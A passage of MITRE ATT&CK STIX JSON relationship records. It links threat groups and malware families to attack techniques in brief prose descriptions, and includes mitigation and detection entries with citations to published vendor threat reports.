"source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e", "target_ref": "attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--b01cdac9-edae-4952-9bba-351d6d7ef5f5", "created": "2022-07-29T19:46:14.448Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "MalwareBytes LazyScripter Feb 2021", "description": "Jazi, H. (2021, February). LazyScripter: From Empire to double RAT. Retrieved November 24, 2021.", "url": "https://www.malwarebytes.com/resources/files/2021/02/lazyscripter.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-10-18T23:22:08.128Z", "description": "[KOCTOPUS](https://attack.mitre.org/software/S0669) can delete created registry keys used for persistence as part of its cleanup procedure.(Citation: MalwareBytes LazyScripter Feb 2021)", "relationship_type": "uses", "source_ref": "malware--df9b350b-d4f9-4e79-a826-75cc75fbc1eb", "target_ref": "attack-pattern--d2c4e5ea-dbdf-4113-805a-b1e2a337fb33", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--b0220134-2033-4261-9b1d-e94abd691476", "created": "2019-01-30T15:38:21.390Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Mandiant APT1 Appendix", "description": "Mandiant. (n.d.). Appendix C (Digital) - The Malware Arsenal. Retrieved July 18, 2016.", "url": "https://www.mandiant.com/sites/default/files/2021-09/mandiant-apt1-report.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-12-26T19:55:54.860Z", "description": "[BISCUIT](https://attack.mitre.org/software/S0017) has a command to download a file from the C2 server.(Citation: Mandiant APT1 Appendix)", "relationship_type": "uses", "source_ref": "malware--b8eb28e4-48a6-40ae-951a-328714f75eda", "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--b028b9a6-4031-4b56-8dd5-0bdd3c59dbec", "type": "relationship", "created": "2018-01-16T16:13:52.465Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "http://carnal0wnage.attackresearch.com/2012/09/more-on-aptsim.html", "description": "valsmith. (2012, September 21). More on APTSim. Retrieved September 28, 2017.", "source_name": "aptsim"}], "modified": "2020-03-30T01:47:03.788Z", "description": "[APT3](https://attack.mitre.org/groups/G0022) has used tools to compress data before exfilling it.(Citation: aptsim)", "relationship_type": "uses", "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9", "target_ref": "attack-pattern--00f90846-cbd1-4fc5-9233-df5c2bf2a662", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--b02a8c2b-3ead-4546-9e68-d1545c5fcdd7", "type": "relationship", "created": "2020-01-24T15:15:13.613Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-03-24T21:37:25.452Z", "description": "Consider disabling emond by removing the [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) plist file.", "relationship_type": "mitigates", "source_ref": "course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31", "target_ref": "attack-pattern--9c45eaa3-8604-4780-8988-b5074dbb9ecd", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--b02c36d6-1027-4f11-98dc-ee4ef00a0b8b", "type": "relationship", "created": "2020-09-29T15:45:28.900Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "PWC WellMess July 2020", "url": "https://www.pwc.co.uk/issues/cyber-security-services/insights/cleaning-up-after-wellmess.html", "description": "PWC. (2020, July 16). How WellMess malware has been used to target COVID-19 vaccines. Retrieved September 24, 2020."}, {"source_name": "CISA WellMess July 2020", "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-198b", "description": "CISA. (2020, July 16). MAR-10296782-2.v1 \u2013 WELLMESS. Retrieved September 24, 2020."}], "modified": "2020-09-29T17:39:46.376Z", "description": "[WellMess](https://attack.mitre.org/software/S0514) can identify the IP address and user domain on the target machine.(Citation: PWC WellMess July 2020)(Citation: CISA WellMess July 2020)", "relationship_type": "uses", "source_ref": "malware--3a4197ae-ec63-4162-907b-9a073d1157e4", "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--b033e131-e448-46c6-815b-b86e4bd6d638", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.fireeye.com/blog/threat-research/2017/06/phished-at-the-request-of-counsel.html", "description": "Ahl, I. (2017, June 06). Privileges and Credentials: Phished at the Request of Counsel. Retrieved May 17, 2018.", "source_name": "FireEye APT19"}], "modified": "2020-03-12T00:28:05.750Z", "description": "[APT19](https://attack.mitre.org/groups/G0073) attempted to get users to launch malicious attachments delivered via spearphishing emails.(Citation: FireEye APT19)", "relationship_type": "uses", "source_ref": "intrusion-set--fe8796a4-2a02-41a0-9d27-7aa1e995feb6", "target_ref": "attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--b036723f-a215-4c04-a625-e57faac4d6b9", "type": "relationship", "created": "2021-11-24T20:17:35.667Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "MalwareBytes LazyScripter Feb 2021", "url": "https://www.malwarebytes.com/resources/files/2021/02/lazyscripter.pdf", "description": "Jazi, H. (2021, February). LazyScripter: From Empire to double RAT. Retrieved November 24, 2021."}], "modified": "2021-11-24T20:17:35.667Z", "description": "(Citation: MalwareBytes LazyScripter Feb 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--abc5a1d4-f0dc-49d1-88a1-4a80e478bb03", "target_ref": "malware--d906e6f7-434c-44c0-b51a-ed50af8f7945", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--b03847f1-8b42-4457-8856-d5769e0f6e60", "type": "relationship", "created": "2020-10-20T03:30:15.348Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2021-04-15T03:36:59.020Z", "description": "This technique cannot be easily mitigated with preventive controls since it is based on behaviors performed outside of the scope of enterprise defenses and controls. Efforts should focus on minimizing the amount and sensitivity of data available to external parties.", "relationship_type": "mitigates", "source_ref": "course-of-action--78bb71be-92b4-46de-acd6-5f998fedf1cc", "target_ref": "attack-pattern--6ee2dc99-91ad-4534-a7d8-a649358c331f", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--b039a79c-8df3-4e89-95ad-03d27b16a13c", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET InvisiMole June 2018", "description": "Hromcov\u00e1, Z. (2018, June 07). InvisiMole: Surprisingly equipped spyware, undercover since 2013. Retrieved July 10, 2018.", "url": "https://www.welivesecurity.com/2018/06/07/invisimole-equipped-spyware-undercover/"}], "modified": "2020-03-17T00:09:26.255Z", "description": "[InvisiMole](https://attack.mitre.org/software/S0260) samples were timestomped by the authors by setting the PE timestamps to all zero values. [InvisiMole](https://attack.mitre.org/software/S0260) also has a built-in command to modify file times.(Citation: ESET InvisiMole June 2018)", "relationship_type": "uses", "source_ref": "malware--47afe41c-4c08-485e-b062-c3bd209a1cce", "target_ref": "attack-pattern--47f2d673-ca62-47e9-929b-1b0be9657611", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--b04c89b2-f790-4961-a012-7ccd18d1436e", "type": "relationship", "created": "2020-05-26T20:09:39.243Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "RedCanary Mockingbird May 2020", "url": "https://redcanary.com/blog/blue-mockingbird-cryptominer/", "description": "Lambert, T. (2020, May 7). Introducing Blue Mockingbird. Retrieved May 26, 2020."}], "modified": "2020-06-25T13:59:09.699Z", "description": "[Blue Mockingbird](https://attack.mitre.org/groups/G0108) has executed custom-compiled XMRIG miner DLLs using regsvr32.exe.(Citation: RedCanary Mockingbird May 2020)\t", "relationship_type": "uses", "source_ref": "intrusion-set--73a80fab-2aa3-48e0-a4d0-3a4828200aee", "target_ref": "attack-pattern--b97f1d35-4249-4486-a6b5-ee60ccf24fab", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--b05016f4-950a-40f4-9fe2-e924d7455c28", "type": "relationship", "created": "2019-12-19T20:21:21.900Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2019-12-19T20:21:21.900Z", "relationship_type": "subtechnique-of", "source_ref": "attack-pattern--791481f8-e96a-41be-b089-a088763083d4", "target_ref": "attack-pattern--7f0ca133-88c4-40c6-a62f-b3083a7fbc2e", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--b052a076-6d4e-49f5-95ac-16264ef05b1d", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Dell TG-3390", "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.", "url": "https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage"}, {"source_name": "ThreatStream Evasion Analysis", "description": "Shelmire, A.. (2015, July 6). Evasive Maneuvers. Retrieved January 22, 2016.", "url": "https://www.threatstream.com/blog/evasive-maneuvers-the-wekby-group-attempts-to-evade-analysis-via-custom-rop"}], "modified": "2020-03-17T01:31:14.539Z", "description": "[HTTPBrowser](https://attack.mitre.org/software/S0070) has used HTTP and HTTPS for command and control.(Citation: Dell TG-3390)(Citation: ThreatStream Evasion Analysis)", "relationship_type": "uses", "source_ref": "malware--e066bf86-9cfb-407a-9d25-26fd5d91e360", "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--b0557c84-d4c5-4016-8381-f419d18f2d47", "type": "relationship", "created": "2021-09-30T20:22:05.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Group IB Ransomware September 2020", "url": "https://groupib.pathfactory.com/ransomware-reports/prolock_wp", "description": "Group IB. (2020, September). LOCK LIKE  A PRO. Retrieved September 27, 2021."}], "modified": "2021-09-30T20:22:05.044Z", "description": "[ProLock](https://attack.mitre.org/software/S0654) can use .jpg and .bmp files to store its payload.(Citation: Group IB Ransomware September 2020)", "relationship_type": "uses", "source_ref": "malware--471d0e9f-2c8a-4e4b-8f3b-f85d2407806e", "target_ref": "attack-pattern--c2e147a9-d1a8-4074-811a-d8789202d916", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--b057569e-0e0b-4e8e-9955-016a556b8248", "type": "relationship", "created": "2020-05-15T15:04:34.555Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "FOX-IT May 2016 Mofang", "url": "https://foxitsecurity.files.wordpress.com/2016/06/fox-it_mofang_threatreport_tlp-white.pdf", "description": "Yonathan Klijnsma. (2016, May 17). Mofang: A politically motivated information stealing adversary. Retrieved May 12, 2020."}], "modified": "2020-05-27T23:28:38.343Z", "description": "[ShimRat](https://attack.mitre.org/software/S0444) has been delivered as a package that includes compressed DLL and shellcode payloads within a .dat file.(Citation: FOX-IT May 2016 Mofang)", "relationship_type": "uses", "source_ref": "malware--5763217a-05b6-4edd-9bca-057e47b5e403", "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--b05da4f4-a47f-42d9-8464-58c6960a767a", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Unit 42 OopsIE! Feb 2018", "description": "Lee, B., Falcone, R. (2018, February 23). OopsIE! OilRig Uses ThreeDollars to Deliver New Trojan. Retrieved July 16, 2018.", "url": "https://researchcenter.paloaltonetworks.com/2018/02/unit42-oopsie-oilrig-uses-threedollars-deliver-new-trojan/"}], "modified": "2020-03-30T02:36:45.216Z", "description": "[OopsIE](https://attack.mitre.org/software/S0264) compresses collected files with GZipStream before sending them to its C2 server.(Citation: Unit 42 OopsIE! Feb 2018)", "relationship_type": "uses", "source_ref": "malware--8e101fdd-9f7f-4916-bb04-6bd9e94c129c", "target_ref": "attack-pattern--00f90846-cbd1-4fc5-9233-df5c2bf2a662", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--b05e473b-ac33-42ce-b7c6-a2a8517def0d", "type": "relationship", "created": "2020-08-25T15:02:17.284Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://adsecurity.org/?p=2293", "description": "Metcalf, S. (2015, December 31). Cracking Kerberos TGS Tickets Using Kerberoast \u2013 Exploiting Kerberos to Compromise the Active Directory Domain. Retrieved March 22, 2018.", "source_name": "AdSecurity Cracking Kerberos Dec 2015"}], "modified": "2021-06-07T19:23:33.372Z", "description": "Enable AES Kerberos encryption (or another stronger encryption algorithm), rather than RC4, where possible.(Citation: AdSecurity Cracking Kerberos Dec 2015)", "relationship_type": "mitigates", "source_ref": "course-of-action--feff9142-e8c2-46f4-842b-bd6fb3d41157", "target_ref": "attack-pattern--3986e7fd-a8e9-4ecb-bfc6-55920855912b", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--b0601ad4-5d8d-4c86-8d0a-86fc2edadbc3", "created": "2022-07-14T14:48:36.865Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "SentinelOne Aoqin Dragon June 2022", "url": "https://www.sentinelone.com/labs/aoqin-dragon-newly-discovered-chinese-linked-apt-has-been-quietly-spying-on-organizations-for-10-years/", "description": "Chen, Joey. (2022, June 9). Aoqin Dragon | Newly-Discovered Chinese-linked APT Has Been Quietly Spying On Organizations For 10 Years. Retrieved July 14, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Aoqin Dragon](https://attack.mitre.org/groups/G1007) has exploited CVE-2012-0158 and CVE-2010-3333 for execution against targeted systems.(Citation: SentinelOne Aoqin Dragon June 2022)", "modified": "2022-07-14T14:48:36.865Z", "relationship_type": "uses", "source_ref": "intrusion-set--64d5f96a-f121-4d19-89f6-6709f5c49faa", "target_ref": "attack-pattern--be2dcee9-a7a7-4e38-afd6-21b31ecc3d63", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--b06103d8-d410-418e-851a-63ca820cc27e", "type": "relationship", "created": "2020-01-30T16:36:51.582Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2021-08-31T19:55:02.897Z", "description": "Limit credential overlap across systems to prevent the damage of credential compromise and reduce the adversary's ability to perform Lateral Movement between systems.", "relationship_type": "mitigates", "source_ref": "course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f", "target_ref": "attack-pattern--e624264c-033a-424d-9fd7-fc9c3bbdb03e", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--b063f8cf-86d1-47fb-8ada-2b39009ee9e2", "type": "relationship", "created": "2021-04-13T19:29:21.051Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Secureworks BRONZE PRESIDENT December 2019", "url": "https://www.secureworks.com/research/bronze-president-targets-ngos", "description": "Counter Threat Unit Research Team. (2019, December 29). BRONZE PRESIDENT Targets NGOs. Retrieved April 13, 2021."}], "modified": "2021-04-13T19:29:21.051Z", "description": "[Mustang Panda](https://attack.mitre.org/groups/G0129)'s custom ORat tool uses a WMI event consumer to maintain persistence.(Citation: Secureworks BRONZE PRESIDENT December 2019)", "relationship_type": "uses", "source_ref": "intrusion-set--420ac20b-f2b9-42b8-aa1a-6d4b72895ca4", "target_ref": "attack-pattern--910906dd-8c0a-475a-9cc1-5e029e2fad58", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--b069525d-194a-4bfb-a6f1-ad024a480e0b", "type": "relationship", "created": "2022-03-30T14:26:51.874Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.874Z", "description": "Monitor for abnormal presence of these or other utilities that enable proxy execution that are typically used for development, debugging, and reverse engineering on a system that is not used for these purposes may be suspicious. Use process monitoring to monitor the execution and arguments of from developer utilities that may be abused. Compare recent invocations of those binaries with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. It is likely that these utilities will be used by software developers or for other software development related tasks, so if it exists and is used outside of that context, then the event may be suspicious.", "source_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", "target_ref": "attack-pattern--ff25900d-76d5-449b-a351-8824e62fc81b", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--b0702a30-f680-4f9b-99c3-352ce2a9557a", "type": "relationship", "created": "2020-05-08T18:41:16.450Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Kaspersky Cloud Atlas August 2019", "url": "https://securelist.com/recent-cloud-atlas-activity/92016/", "description": "GReAT. (2019, August 12). Recent Cloud Atlas activity. Retrieved May 8, 2020."}, {"source_name": "Kaspersky Cloud Atlas December 2014", "url": "https://securelist.com/cloud-atlas-redoctober-apt-is-back-in-style/68083/", "description": "GReAT. (2014, December 10). Cloud Atlas: RedOctober APT is back in style. Retrieved May 8, 2020."}, {"source_name": "Symantec Inception Framework March 2018", "url": "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/inception-framework-hiding-behind-proxies", "description": "Symantec. (2018, March 14). Inception Framework: Alive and Well, and Hiding Behind Proxies. Retrieved May 8, 2020."}, {"source_name": "Unit 42 Inception November 2018", "url": "https://unit42.paloaltonetworks.com/unit42-inception-attackers-target-europe-year-old-office-vulnerability/", "description": "Lancaster, T. (2018, November 5). Inception Attackers Target Europe with Year-old Office Vulnerability. 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(2019, June 5). Government Sector in Central Asia Targeted With New HAWKBALL Backdoor Delivered via Microsoft Office Vulnerabilities. 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(2020, April 16). PoetRAT: Python RAT uses COVID-19 lures to target Azerbaijan public and private sectors. Retrieved April 27, 2020."}, {"source_name": "Talos PoetRAT October 2020", "url": "https://blog.talosintelligence.com/2020/10/poetrat-update.html", "description": "Mercer, W. Rascagneres, P. Ventura, V. (2020, October 6). PoetRAT: Malware targeting public and private sector in Azerbaijan evolves . Retrieved April 9, 2021."}], "modified": "2021-04-12T12:44:34.345Z", "description": "[PoetRAT](https://attack.mitre.org/software/S0428) has used Word documents with VBScripts to execute malicious activities.(Citation: Talos PoetRAT April 2020)(Citation: Talos PoetRAT October 2020)", "relationship_type": "uses", "source_ref": "malware--cc5497f7-a9e8-436f-94da-b2b4a9b9ad3c", "target_ref": "attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--b0791504-fc65-402b-bc47-bd96ed4abea1", "type": "relationship", "created": "2018-01-16T16:13:52.465Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong", "description": "Symantec Security Response. (2016, September 6). Buckeye cyberespionage group shifts gaze from US to Hong Kong. Retrieved September 26, 2016.", "source_name": "Symantec Buckeye"}, {"url": "https://recon.cx/2017/montreal/resources/slides/RECON-MTL-2017-evolution_of_pirpi.pdf", "description": "Yates, M. (2017, June 18). APT3 Uncovered: The code evolution of Pirpi. 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(2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", "source_name": "Beechey 2010"}, {"url": "https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html", "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", "source_name": "Windows Commands JPCERT"}, {"url": "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", "source_name": "NSA MS AppLocker"}, {"url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx", "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", "source_name": "Corio 2008"}, {"url": "https://technet.microsoft.com/en-us/library/ee791851.aspx", "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.", "source_name": "TechNet Applocker vs SRP"}], "modified": "2021-10-17T14:12:33.391Z", "description": "Identify potentially malicious software that may be used to taint content or may result from it and audit and/or block the unknown programs by using application control (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. 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Retrieved March 8, 2021."}, {"source_name": "Cybersecurity Advisory SVR TTP May 2021", "url": "https://www.ncsc.gov.uk/files/Advisory-further-TTPs-associated-with-SVR-cyber-actors.pdf", "description": "NCSC, CISA, FBI, NSA. (2021, May 7). Further TTPs associated with SVR cyber actors. Retrieved July 29, 2021."}, {"source_name": "MSTIC Nobelium Toolset May 2021", "url": "https://www.microsoft.com/security/blog/2021/05/28/breaking-down-nobeliums-latest-early-stage-toolset/", "description": "MSTIC. (2021, May 28). Breaking down NOBELIUM\u2019s latest early-stage toolset. Retrieved August 4, 2021."}, {"source_name": "Secureworks IRON RITUAL Profile", "url": "https://www.secureworks.com/research/threat-profiles/iron-ritual", "description": "Secureworks CTU. (n.d.). IRON RITUAL. Retrieved February 24, 2022."}], "modified": "2022-02-24T20:32:44.628Z", "description": "(Citation: MSTIC NOBELIUM Mar 2021)(Citation: Cybersecurity Advisory SVR TTP May 2021)(Citation: MSTIC Nobelium Toolset May 2021)(Citation: Secureworks IRON RITUAL Profile)", "relationship_type": "uses", "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542", "target_ref": "malware--b7010785-699f-412f-ba49-524da6033c76", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--b08e3c96-25a7-412f-bbfb-63e010ef3891", "created": "2017-05-31T21:33:27.032Z", "x_mitre_version": "1.0", "external_references": [{"source_name": "Cylance Cleaver", "url": "https://web.archive.org/web/20200302085133/https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf", "description": "Cylance. (2014, December). Operation Cleaver. Retrieved September 14, 2017."}], "x_mitre_deprecated": false, "revoked": false, "description": "(Citation: Cylance Cleaver)", "modified": "2022-07-22T18:37:22.204Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "intrusion-set--8f5e8dc7-739d-4f5e-a8a1-a66e004d7063", "target_ref": "tool--afc079f3-c0ea-4096-b75d-3f05338b7f60", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--b09075c8-6a45-4fd1-bdaf-c48a193bdd23", "type": "relationship", "created": "2022-03-30T14:26:51.834Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.834Z", "description": "Monitor for any attempts to enable scripts running on a system would be considered suspicious. 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(2022, May 11). Bitter APT adds Bangladesh to their targets. Retrieved June 1, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[BITTER](https://attack.mitre.org/groups/G1002) has executed OLE objects using Microsoft Equation Editor to download and run malicious payloads.(Citation: Cisco Talos Bitter Bangladesh May 2022) ", "modified": "2022-06-01T21:07:14.657Z", "relationship_type": "uses", "source_ref": "intrusion-set--7f848c02-4d1e-4808-a4ae-4670681370a9", "target_ref": "attack-pattern--232a7e42-cd6e-4902-8fe9-2960f529dd4d", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--b099746f-3c9f-41e8-95b2-af6ee5c10e83", "type": "relationship", "created": "2020-10-19T19:53:10.775Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-10-22T17:49:03.201Z", "description": "Restrict administrator accounts to as few individuals as possible, following least privilege principles.  Prevent credential overlap across systems of administrator and privileged accounts, particularly between network and non-network platforms, such as servers or endpoints.", "relationship_type": "mitigates", "source_ref": "course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f", "target_ref": "attack-pattern--fc74ba38-dc98-461f-8611-b3dbf9978e3d", "x_mitre_version": "1.0", 